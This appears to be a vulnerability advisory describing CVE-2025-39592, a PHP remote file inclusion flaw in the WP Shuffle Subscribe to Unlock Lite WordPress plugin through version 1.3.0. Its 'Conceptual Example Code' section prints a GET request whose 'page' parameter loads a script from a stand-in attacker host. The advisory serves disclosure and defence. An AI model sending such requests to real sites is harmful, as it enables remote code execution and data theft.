Overview
The vulnerability CVE-2025-39592 is a major security concern that affects the WP Shuffle Subscribe to Unlock Lite plugin. It allows for an improper control of filename for Include/Require Statement in PHP Program, leading to a PHP Remote File Inclusion. This vulnerability provides potential attackers the means to compromise a system and possibly extract sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-39592
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
WP Shuffle Subscribe to Unlock Lite | n/a – 1.3.0
How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when an application’s control mechanisms fail to properly sanitize input for file inclusion calls to ‘include()’ or ‘require()’. This enables an attacker to manipulate the input and inject pathnames that can lead to the inclusion of remote files hosted on a different server. This could allow the attacker to execute arbitrary code on the affected system.
Conceptual Example Code
In the context of a web-based PHP application, the exploit may be initiated using a simple HTTP GET request that includes a manipulated query parameter, which would be used to include a malicious file from an external source.
GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.comIn this example, the ‘page’ parameter is manipulated to include a malicious PHP script hosted on an external server. This script will be executed in the context of the vulnerable application, potentially leading to a complete system compromise.